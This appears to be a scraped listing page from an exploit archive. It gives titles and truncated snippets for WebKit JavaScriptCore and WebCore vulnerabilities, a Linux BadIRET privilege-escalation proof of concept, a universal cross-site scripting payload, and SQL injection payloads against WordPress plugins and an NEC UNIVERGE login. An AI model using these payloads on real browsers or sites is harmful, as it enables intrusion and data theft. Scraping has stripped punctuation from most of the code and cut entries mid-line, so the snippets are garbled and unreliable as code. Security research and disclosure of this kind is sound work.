WebKit JSC Incorrect Scope Register Handling

WebKit: JSC: Incorrect scope register handling in DFG::ByteCodeParser::flushInlineStackEntry inlineStackEntry CVE-2017-7018 Here's a snippet of DFG::ByteCodeParser::flushInlineStackEntry inlineStackEntry. void flushInlineStackEntry inlineStackEntry ... if mgraph.needsScopeRegister...

WebKit JSC - JSObject::putInlineSlow JSValue::putToPrimitive Universal Cross-Site Scripting

WebKit JSC - JSObject::putInlineSlow JSValue::putToPrimitive Universal Cross-Site Scripting let f = document.body.appendChilddocument.createElement'iframe'; let loc = f.contentWindow.location; f.onload = = let a = 1.2; a.proto.proto = f.contentWindow; a'test' = toString: function...

WebKit JSC - 'ArgumentsEliminationPhase::transform' Incorrect LoadVarargs Handling

op == PhantomNewArrayWithSpread || candidate-op == PhantomSpread ... if argumentCountIncludingThis limit storeArgumentCountIncludingThisargumentCountIncludingThis; // store arguments ... node-remove; node-origin.exitOK = canExit; break; Whether or not the "argumentCountIncludingThis limit"...

WebKit JSC - 'JSObject::putInlineSlow' / 'JSValue::putToPrimitive' Universal Cross-Site Scripting

let f = document.body.appendChilddocument.createElement'iframe'; let loc = f.contentWindow.location; f.onload = = let a = 1.2; a.proto.proto = f.contentWindow; a'test' = toString: function arguments.callee.caller.constructor'alertlocation'; ; ; f.src = 'data:text/html,' +...

WordPress Plugin Ads Pro 3.4 - Cross-Site Scripting SQL Injection

WordPress Plugin Ads Pro 3.4 - Cross-Site Scripting SQL Injection Exploit Title: Ads Pro Plugin - Multi-Purpose WordPress Advertising Manager = 5.0.12 AND time-based blind Payload: bsaprostats=1&[email protected]&bsaproid=xx AND S...

WebKit JSC ArgumentsEliminationPhase::transform Incorrect LoadVarargs Handling Vulnerability

WebKit JSC suffers from incorrect LoadVarargs handling in ArgumentsEliminationPhase::transform. WebKit: JSC: Incorrect LoadVarargs handling in ArgumentsEliminationPhase::transform CVE-2017-7056 Here is a snippet of ArgumentsEliminationPhase::transform case LoadVarargs: ... if candidate-op ==...

WebKit WebCore::RenderObject Use-After-Free

WebKit: use-after-free in WebCore::RenderObject with accessibility enabled CVE-2017-7046 There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly. Note that accessibility features need to be enabled in order to trigger this bug. O...

WebKit JSC JSArray::appendMemcpy Uninitialized Memory Copy

WebKit: JSC: JSArray::appendMemcpy uninitialized memory copy CVE-2017-7064 WebKit: JSC: JSArray::appendMemcpy uninitialized memory copy Here's a snippet of JSArray::appendMemcpy. bool JSArray::appendMemcpyExecState exec, VM& vm, unsigned startIndex, JSC::JSArray otherArray auto scope =...

WebKit JSC - 'ObjectPatternNode::appendEntry' Stack Use-After-Free

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1256 Here's a snippet of ObjectPatternNode::appendEntry. void appendEntryconst JSTokenLocation&, ExpressionNode propertyExpression, DestructuringPatternNode pattern, ExpressionNode defaultValue, BindingType bindingType...

WebKit - WebCore::AccessibilityNodeObject::textUnderElement Use-After-Free Exploit

Exploit for multiple platform in category dos / poc function go li.hidden = true; dir.setAttribute"aria-labeledby", "map"; !-- ================================================================= ASan log: ================================================================= ==728==ERROR:...

Linux Kernel - 'BadIRET' Local Privilege Escalation

CVE-2014-9322 PoC for Linux kernel CVE-2014-9322 a.k.a BadIRET proof of concept for Linux kernel. This PoC uses only syscalls not any libraries, like pthread. Threads are implemented using raw Linux syscalls. Raw Linux Threads via System Calls Usage $ make badiret.elf is an ELF executable...

WebKit - WebCore::InputType::element Use-After-Free (1)

WebKit - WebCore::InputType::element Use-After-Free 1 var runcount = 0; function go runcount++; ifruncount 2 return; i.type = "foo"; i.select; i.type = "search"; document.onsearch = document.body.onload; document.execCommand"insertHTML", false, ""; !--...

WebKit - WebCore::AccessibilityRenderObject::handleAriaExpandedChanged Use-After-Free

WebKit - WebCore::AccessibilityRenderObject::handleAriaExpandedChanged Use-After-Free div visibility: collapse function eventhandler document.execCommand"bold", false; img.style.removeProperty"-webkit-appearance"; img.setAttribute"aria-expanded", "false"; aaa !--...

WebKit - WebCore::InputType::element Use-After-Free Exploit

Exploit for multiple platform in category dos / poc var runcount = 0; function go runcount++; ifruncount 2 return; i.type = "foo"; i.select; i.type = "search"; document.onsearch = document.body.onload; document.execCommand"insertHTML", false, ""; !--...

WebKit - 'WebCore::getCachedWrapper' Use-After-Free

function freememory var a; forvar i=0;i ::get const /Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Ver...

WebKit - 'WebCore::InputType::element' Use-After-Free (1)

var runcount = 0; function go runcount++; ifruncount 2 return; i.type = "foo"; i.select; i.type = "search"; document.onsearch = document.body.onload; document.execCommand"insertHTML", false, ""; !-- ================================================================= ASan log:...

NEC UNIVERGE UM4730 < 11.8 - SQL Injection

Exploit Title: NEC UNIVERGE UM4730 11.8 SQL injection Vulnerbility: SQL injection login bypass Date: 15-12-2016 Exploit Author: b0x41s Author web: https://www.xrayit.nl Vendor Homepage: https://www.nec-enterprise.com Category: webapps Version: 11.6.0.31 Tested on: Windows server 2008 Description:...

Corel PHOTO-PAINT X8 TIFF Filter Code Execution Vulnerability

Summary A remote out of bound write vulnerability exists in the TIFF parsing functionality of Core PHOTO-PAINT X8 18.1.0.661. A specially crafted TIFF file can cause a vulnerability resulting in potential memory corruption. An attacker can send the victim a specific TIFF file to trigger this...

WordPress Plugin IBPS Online Exam 1.0 - SQL Injection Cross-Site Scripting

WordPress Plugin IBPS Online Exam 1.0 - SQL Injection Cross-Site Scripting Exploit Title: IBPS Online Exam Plugin for WordPress v1.0 - XSS SQLi Date: 2017-07-11 Exploit Author: 8bitsec Vendor Homepage: https://elfemo.com/demo/server2/order2032/ Software Link:...

Arabic Font - CSRF & Stored XSS

Due to a lack of CSRF mitigation and entity encoding in the output generated by arabic-font.php and /inc/panel.php, it is possible to store and execute scripts in the context of an admin user. PoC...